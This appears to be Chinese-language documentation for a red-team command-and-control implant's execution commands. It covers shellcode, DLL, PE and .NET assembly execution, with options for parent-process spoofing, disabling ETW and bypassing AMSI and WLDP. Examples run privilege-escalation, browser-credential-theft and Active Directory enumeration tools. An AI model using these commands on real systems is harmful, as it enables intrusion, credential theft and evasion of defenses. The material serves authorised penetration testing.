命令执行
执行命令¶
基础执行¶
在目标系统中执行各类命令,获取输出或执行操作。
执行命令¶
run [cmdline]
示例:
# 执行简单命令
run whoami
# 执行带参数的命令
run gogo.exe -- -i 127.0.0.1 -p http
执行带参数命令
当插件参数以短横线(-)开头时,必须用 -- 分隔,否则控制台会误判参数归属,导致插件执行失败或功能异常。
静默执行¶
execute [cmdline]
示例:
# 执行简单命令
execute whoami
# 执行带参数的命令
execute gogo.exe -- -i 127.0.0.1 -p http
Shell 命令¶
shell [cmdline] [flags]
cmd /c),直接与目标系统的命令行交互。
选项:
-q, --quiet: 禁用输出信息
PowerShell¶
powershell [cmdline] [flags]
选项:
-q, --quiet: 禁用输出信息
高级执行¶
通过自定义加载器或注入技术执行文件,提升隐蔽性与绕过防御机制。
执行 PE 文件¶
execute_exe [exe] [flags]
选项:
-
--arch string: 目标架构(x64,x86) -
-a, --argue string: 欺骗进程参数 -
-b, --block_dll: 阻止非微软DLL注入 -
--etw: 禁用ETW跟踪 -
-p, --ppid uint32: 伪造父进程ID -
-n, --process string: 自定义进程路径 -
-q, --quiet: 禁用输出 -
-t, --timeout uint32: 超时时间(秒)
示例:
execute_exe gogo.exe -- -i 123.123.123.123 -p top2
执行带参数命令
当插件参数以短横线(-)开头时,必须用 -- 分隔,否则控制台会误判参数归属,导致插件执行失败或功能异常。
本地 PE 执行¶
execute_local [local_exe] [flags]
选项:
-
-a, --argue string: 欺骗进程参数 -
-b, --block_dll: 阻止非微软DLL注入 -
--etw: 禁用ETW跟踪 -
-o, --output: 禁用输出 -
-p, --ppid uint32: 伪造父进程ID -
-n, --process string: 自定义进程路径 -
-q, --quiet: 禁用输出
示例:
execute_local local_exe --ppid 1234 --block_dll --etw --argue "argue"
执行 DLL¶
execute_dll [dll] [flags]
选项:
-
--arch string: 目标架构(x64,x86) -
-a, --argue string: 欺骗进程参数 -
--binPath string: 自定义进程路径 -
-b, --block_dll: 阻止非微软DLL注入 -
-e, --entrypoint string: 自定义入口点函数 -
--etw: 禁用ETW跟踪 -
-p, --ppid uint32: 伪造父进程ID -
-n, --process string: 自定义进程路径 -
-q, --quiet: 禁用输出 -
-t, --timeout uint32: 超时时间(秒)
示例:
# 使用默认入口点
execute_dll example.dll
# 指定入口点
execute_dll example.dll -e entrypoint -- arg1 arg2
执行 Shellcode¶
execute_shellcode [shellcode_file] [flags]
选项:
-
--arch string: 目标架构(x64,x86) -
-a, --argue string: 欺骗进程参数 -
-b, --block_dll: 阻止非微软DLL注入 -
--etw: 禁用ETW跟踪 -
-p, --ppid uint32: 伪造父进程ID -
-n, --process string: 自定义进程路径 -
-q, --quiet: 禁用输出 -
-t, --timeout uint32: 超时时间(秒)
示例:
execute_shellcode example.bin
执行 .NET 程序集¶
execute_assembly [file] [flags]
选项:
-
--amsi: 绕过AMSI(Anti-Malware Scan Interface) -
-a, --argue string: 欺骗进程参数 -
-b, --block_dll: 阻止非微软DLL注入 -
--bypass-all: 同时绕过AMSI、ETW、WLDP -
--etw: 禁用ETW跟踪 -
-p, --ppid uint32: 伪造父进程ID -
--wldp: 绕过WLDP(Windows Lockdown Policy)
示例:
execute_assembly potato.exe "whoami"
内联执行¶
在当前Implant进程中直接执行文件(需注意稳定性风险)。
内联执行 PE¶
inline_exe [exe] [flags]
Instability warning
内联执行EXE可能导致Implant崩溃,建议仅在必要时使用。
选项:
-
--arch string: 目标架构(x64,x86) -
-n, --process string: 自定义进程路径 -
-q, --quiet: 禁用输出 -
-t, --timeout uint32: 超时时间(秒)
示例:
inline_exe hackbrowserdata.exe -- -h
内联本地执行¶
inline_local [local_exe]
选项:
-
-a, --argue string: 欺骗进程参数 -
-b, --block_dll: 阻止非微软DLL注入 -
--etw: 禁用ETW跟踪 -
-p, --ppid uint32: 伪造父进程ID -
-n, --process string: 自定义进程路径
示例:
inline_local whoami
内联执行 DLL¶
inline_dll [dll] [flags]
Instability warning
内联执行DLL可能导致Implant崩溃,建议优先使用牺牲进程执行。
选项:
-
--arch string: 目标架构(x64,x86) -
-e, --entrypoint string: 入口点函数 -
-n, --process string: 自定义进程路径 -
-q, --quiet: 禁用输出 -
-t, --timeout uint32: 超时时间(秒)
示例:
# 使用默认入口点
inline_dll example.dll
# 指定入口点
inline_dll example.dll -e RunFunction -- arg1 arg2
内联执行 Shellcode¶
inline_shellcode [shellcode_file] [flags]
Instability warning
内联执行shellcode可能导致Implant崩溃,需谨慎使用。
选项:
-
--arch string: 目标架构(x64,x86) -
-n, --process string: 自定义进程路径 -
-q, --quiet: 禁用输出 -
-t, --timeout uint32: 超时时间(秒)
示例:
inline_shellcode example.bin
内联执行 .NET 程序集¶
inline_assembly [file] [flags]
选项:
-
--amsi: 绕过AMSI -
--bypass-all: 绕过AMSI、ETW、WLDP -
--etw: 绕过ETW -
--wldp: 绕过WLDP
示例:
# 内联执行.NET程序集
inline_assembly --amsi potato.exe "whoami"
# 执行带参数的.NET程序集
inline_assembly --amsi potato.exe -- cmd /c whoami
特殊执行¶
针对特定场景的执行方式,如BOF、DLL 生成等。
BOF 执行¶
bof [bof]
bof 命令借助 COFF Loader 执行 BOF(Beacon Object File )文件,实现轻量、隐蔽的功能扩展。该功能基于 https://github.com/hakaioffsec/coffee 重构,修复了 bundle 相关 bug,支持通过特定格式传递参数。
BOF 的参数需在 -- 分隔符之后传递,且每个参数必须以类型前缀加冒号(:)的形式开头。支持的参数类型如下:
-
str- 空终止字符串(ASCII 编码) -
wstr- 宽字符空终止字符串(Unicode 编码) -
int- 32 位有符号整数 -
short- 16 位有符号整数 -
bin- Base64 编码的二进制数据块
示例:
bof dir.x64.o -- wstr:"C:\\Windows\\System32"
DLL 生成¶
dllspawn [dll] [flags]
execute_dll功能类似但侧重动态生成执行环境。
选项:
-
--arch string: 目标架构(x64,x86) -
-a, --argue string: 欺骗进程参数 -
--binPath string: 自定义进程路径 -
-b, --block_dll: 阻止非微软DLL注入 -
-e, --entrypoint string: 自定义入口点 -
--etw: 禁用ETW跟踪 -
-p, --ppid uint32: 伪造父进程ID -
-n, --process string: 自定义进程路径 -
-q, --quiet: 禁用输出 -
-t, --timeout uint32: 超时时间(秒)
示例:
dllspawn example.dll
非托管 PowerShell¶
powerpick [args] [flags]
选项:
-
--amsi: 绕过AMSI -
--bypass-all: 绕过AMSI、ETW、WLDP -
--etw: 绕过ETW -
-s, --script string: PowerShell脚本路径 -
--wldp: 绕过WLDP
示例:
powerpick -s powerview.ps1 -- Get-NetUser